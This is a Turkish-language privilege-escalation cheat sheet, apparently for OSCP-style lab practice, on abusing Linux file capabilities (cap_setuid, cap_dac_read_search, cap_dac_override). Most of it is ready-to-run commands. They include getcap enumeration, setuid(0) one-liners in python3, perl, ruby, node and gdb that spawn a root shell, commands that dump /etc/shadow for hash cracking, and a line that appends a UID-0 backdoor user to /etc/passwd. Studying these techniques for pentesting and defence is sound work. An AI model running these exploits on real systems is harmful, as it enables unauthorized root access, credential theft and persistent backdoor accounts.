Linux Capabilities İstismarı — getcap, cap_setuid, cap_dac_read_search
Dosya capability'lerini getcap ile keşfet ve istismar et: cap_setuid+ep ile python/perl üzerinden root shell, cap_dac_read_search ile /etc/shadow okuma, cap_dac_override ile dosya overwrite.
- Hedefte düşük yetkili shell
- getcap binary'sinin mevcut olması (libcap)
Komutlar
getcap -r / 2>/dev/null getcap -r / 2>/dev/null | grep -iE 'cap_setuid|cap_setgid|cap_dac_read_search|cap_dac_override|cap_sys_admin|cap_sys_ptrace' /usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")' /usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";' /usr/bin/ruby -e 'Process::Sys.setuid(0); exec "/bin/bash"' /usr/bin/node -e 'process.setuid(0); require("child_process").spawn("/bin/bash", {stdio: [0,1,2]})' /usr/bin/gdb -nx -ex 'python import os; os.setuid(0)' -ex '!/bin/bash' -ex quit /usr/bin/python3 -c 'import os; os.setuid(0); os.setgid(0)' /usr/bin/python3 -c 'print(open("/etc/shadow","r").read())' /usr/bin/tar cf /tmp/shadow.tar /etc/shadow && tar xf /tmp/shadow.tar -O /usr/bin/python3 -c 'open("/etc/passwd","a").write("hacker:$1$abc$...:0:0:root:/root:/bin/bash\n")' Genel Bakış
Linux Capabilities, root’un tüm gücünü bir binary’ye vermek yerine ayrık yetkilere böler. Bir dosyaya atanan capability, o binary’yi SUID bit’i olmadan da ayrıcalıklı kılabilir. SUID taraması temiz çıksa bile getcap mutlaka çalıştırılmalıdır — OSCP makinelerinde sık atlanan ama kritik bir vektördür.
Enumeration
getcap -r / 2>/dev/null ile tüm dosya sistemini tara. Çıktıdaki +ep (effective + permitted) eki capability’nin aktif olduğunu gösterir. İlgilenmen gereken yüksek-değerli capability’ler:
- cap_setuid → setuid(0) çağırarak doğrudan root shell. En değerlisi.
- cap_setgid → grup kimliğini değiştir; tek başına nadiren yeter ama cap_setuid ile birleşir.
- cap_dac_read_search → tüm DAC okuma kontrollerini bypass;
/etc/shadowgibi korumalı dosyaları oku (write yok). - cap_dac_override → DAC write kontrollerini bypass;
/etc/passwdveya/etc/shadowyaz. - cap_sys_admin / cap_sys_ptrace → daha karmaşık ama mount/namespace/process injection yolları açar.
Exploitation — cap_setuid
En temiz yol budur. python3, perl, ruby, node, gdb gibi bir interpreter’da cap_setuid+ep varsa, interpreter içinden setuid(0) çağırıp ardından bir shell exec et. Bazı kernel/glibc kombinasyonlarında önce setgid(0) gerekebilir; root shell açılmıyorsa gid’i de sıfırla.
Exploitation — cap_dac_read_search
Bu capability ile root olamazsın ama dosya okuma kısıtlarını tamamen aşarsın. /etc/shadow dump edip hash’leri john/hashcat ile kır, ya da SSH private key, /root altındaki config dosyaları gibi loot topla. tar ve python3 bu iş için GTFOBins’te listelenir.
Exploitation — cap_dac_override
DAC write kontrolünü bypass eder; doğrudan /etc/passwd’a 0:0 UID/GID’li bir kullanıcı ekleyip (openssl passwd hash’i ile) su ile root’a geç, ya da bir cron/script dosyasını overwrite et.
Notlar / Gotchas
getcapbinary’si yoksafind / -type f -exec getcap {} \;yerine dosyaları Kali’ne çekip analiz et; ayrıca ambient/inherited capability’ler dosya bazlıgetcapile görünmez.cap_setuid+epilecap_setuid+eifarklıdır:+ep(permitted+effective) doğrudan kullanılabilir; sadece+i(inheritable) tek başına işe yaramaz.- Bir binary’nin symlink kopyasına capability geçmez; her zaman
getcapçıktısındaki gerçek path’i çalıştır.